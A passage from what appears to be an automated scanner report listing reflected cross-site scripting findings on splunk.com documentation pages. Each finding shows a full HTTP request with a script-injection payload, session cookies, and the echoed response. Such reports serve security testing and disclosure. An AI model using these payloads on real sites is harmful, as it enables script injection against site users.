Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:12 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sun, 06-Feb-2011 16:15:13 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sun, 06-Feb-2011 16:15:13 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sun, 06-Feb-2011 16:15:13 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11908


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base3eab6"><script>alert(1)</script>2a194ea043b/Documentation">
...[SNIP]...

4.372. http://www.splunk.com/base/Documentation [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a265e"><script>alert(1)</script>82196131638 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base/Documentationa265e"><script>alert(1)</script>82196131638 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:41 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sun, 06-Feb-2011 16:15:42 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sun, 06-Feb-2011 16:15:42 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sun, 06-Feb-2011 16:15:42 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11908


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base/Documentationa265e"><script>alert(1)</script>82196131638">
...[SNIP]...

4.373. http://www.splunk.com/base/Documentation [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2011f'-alert(1)-'35a486ae68e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base/Documentation2011f'-alert(1)-'35a486ae68e HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sun, 06-Feb-2011 16:15:51 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sun, 06-Feb-2011 16:15:51 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sun, 06-Feb-2011 16:15:51 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11753


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...

           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation2011f'-alert(1)-'35a486ae68e';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation2011f'-alert(1)-'35a486ae68e";
       }

       </script>
...[SNIP]...

4.374. http://www.splunk.com/base/Documentation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 445e3"><script>alert(1)</script>1d005539fca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base/Documentation?445e3"><script>alert(1)</script>1d005539fca=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:01 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sun, 06-Feb-2011 16:15:02 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sun, 06-Feb-2011 16:15:02 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sun, 06-Feb-2011 16:15:02 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24460


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base/Documentation?445e3"><script>alert(1)</script>1d005539fca=1">
...[SNIP]...

4.375. http://www.splunk.com/base/Documentation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68caf'-alert(1)-'d4cdb67b19d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base/Documentation?68caf'-alert(1)-'d4cdb67b19d=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:04 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sun, 06-Feb-2011 16:15:05 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sun, 06-Feb-2011 16:15:05 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sun, 06-Feb-2011 16:15:05 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24300


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...

           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation?68caf'-alert(1)-'d4cdb67b19d=1';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation?68caf'-alert(1)-'d4cdb67b19d=1";
       }

       </script>
...[SNIP]...

4.376. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cce9"><script>alert(1)</script>e7165443f5e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base8cce9"><script>alert(1)</script>e7165443f5e/Documentation/4.1.6/ReleaseNotes/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:56 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:23:57 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:23:57 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:23:57 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12033


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base8cce9"><script>alert(1)</script>e7165443f5e/Documentation/4.1.6/ReleaseNotes/4.1.6">
...[SNIP]...

4.377. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 615a6--><script>alert(1)</script>518ba201284 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /615a6--><script>alert(1)</script>518ba201284/Documentation/4.1.6/ReleaseNotes/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:24:19 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:54:19 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:54:19 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>518ba201284/Documentation/4.1.6/ReleaseNotes/4.1.6 -->
...[SNIP]...

4.378. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 22f49'-alert(1)-'27f5c74605b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base22f49'-alert(1)-'27f5c74605b/Documentation/4.1.6/ReleaseNotes/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:12 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:24:13 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:24:13 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:24:13 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15309


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
geVersion( ) {
           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base22f49'-alert(1)-'27f5c74605b/Documentation/4.1.6/ReleaseNotes/4.1.6';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base22f49'-alert(1)-'27f5c74605b/
...[SNIP]...

4.379. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b23e5"><script>alert(1)</script>b80d5d28cc8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base/Documentationb23e5"><script>alert(1)</script>b80d5d28cc8/4.1.6/ReleaseNotes/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:24:31 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:24:31 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:24:31 GMT; path=/
